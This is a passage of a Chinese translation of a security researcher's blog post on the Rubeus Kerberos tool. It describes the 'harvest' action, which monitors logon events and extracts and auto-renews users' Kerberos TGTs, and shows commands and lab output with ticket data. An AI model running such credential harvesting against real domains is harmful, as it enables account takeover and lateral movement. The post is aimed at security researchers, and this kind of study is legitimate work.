[*] Monitoring every 60 seconds for 4624 logon events
[*] Target user : dfm.a


[+] 9/17/2018 7:59:02 PM - 4624 logon event for 'TESTLAB.LOCAL\dfm.a' from '192.168.52.100'
[*] Target LUID     : 0x991972
[*] Target service  : krbtgt

  UserName                 : dfm.a
  Domain                   : TESTLAB
  LogonId                  : 10033522
  UserSID                  : S-1-5-21-883232822-274137685-4173207997-1110
  AuthenticationPackage    : Kerberos
  LogonType                : Network
  LogonTime                : 9/18/2018 2:59:02 AM
  LogonServer              :
  LogonServerDNSDomain     : TESTLAB.LOCAL
  UserPrincipalName        :

    ServiceName              : krbtgt
    TargetName               :
    ClientName               : dfm.a
    DomainName               : TESTLAB.LOCAL
    TargetDomainName         : TESTLAB.LOCAL
    AltTargetDomainName      : TESTLAB.LOCAL
    SessionKeyType           : aes256_cts_hmac_sha1
    Base64SessionKey         : orxXJZ/r7zbDvo2JUyFfi+2ygcZpxH8e6phGUT5zDbc=
    KeyExpirationTime        : 12/31/1600 4:00:00 PM
    TicketFlags              : name_canonicalize, renewable, forwarded, forwardable
    StartTime                : 9/17/2018 7:59:02 PM
    EndTime                  : 9/18/2018 12:58:59 AM
    RenewUntil               : 9/24/2018 7:58:59 PM
    TimeSkew                 : 0
    EncodedTicketSize        : 1470
    Base64EncodedTicket      :

      doIFujCCBbagAwIBBaE...(snip)...


[*] Extracted  1 total tickets

请注意,这个操作需要从一个升级了特权的上下文中运行!

功能介绍之harvest

收割(harvest)操作使监控器(monitor)又前进了一步。 它每隔一段时间(时间由/interval:MINUTES指定)监视 4624 事件的事件日志: 新登录的事件,提取任何新的 TGT KRB-CRED 文件,并保存任何提取的 TGT 的缓存。 /interval指定的时间周期内,任何在下一个间隔之前到期的 TGT 都会自动更新(直到达到它们的更新限制) ,以及当前"可用的"或有效的 TGT KRB-CRED .kirbis 缓存将输出为 base64 编码的数据块。

这允许你在不打开 LSASS 的读句柄的情况下从系统中获取可用的 TGT,尽管需要提高权限来提取票证。

c:\Rubeus>Rubeus.exe harvest /interval:30

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v0.0.1a

[*] Action: TGT Harvesting (w/ auto-renewal)

[*] Monitoring every 30 minutes for 4624 logon events

...(snip)...

[*] Renewing TGT for [email protected]
[*] Connecting to 192.168.52.100:88
[*] Sent 1520 bytes
[*] Received 1549 bytes

[*] 9/17/2018 6:43:02 AM - Current usable TGTs:

User                  :  [email protected]
StartTime             :  9/17/2018 6:43:02 AM
EndTime               :  9/17/2018 11:43:02 AM
RenewTill             :  9/24/2018 2:07:48 AM
Flags                 :  name_canonicalize, renewable, forwarded, forwardable
Base64EncodedTicket   :

    doIFujCCBbagAw...(snip)...

请注意,此操作必须从一个升级了特权的上下文中运行!

这可以与 Seatbelt 4624 事件功能很好地配对,该功能将解析过去7天内有 4624 帐户登录事件的事件日志。 如果有一个感兴趣的帐户在半规则的基础上进行了身份验证,其登录类型将导致攻击者可获得其 Kerberos TGT,而 harvest功能可以帮助你获得此凭据。

总结

我为这个项目付出了很多心血、汗水和( Kerberos 相关的)眼泪,我很高兴能把它交到其他安全研究人员的手中。 希望我们都能开始接受 Kekeo 里面那些很棒的功能,即使它被包装在另一个 shell 中。

请注意,这段代码是个 beta 版本——它已经在有限的环境中进行了测试,但是我确信它还存在各种各样的错误和问题。

本文翻译自:https://posts.specterops.io/from-kekeo-to-rubeus-86d2ec501c14如若转载,请注明原文地址: https://www.4hou.com/system/18787.html
点赞 0
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论